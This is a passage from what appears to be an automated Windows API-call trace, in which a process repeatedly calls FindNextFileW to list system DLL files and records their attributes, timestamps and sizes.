(in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0173.211] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0173.212] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, 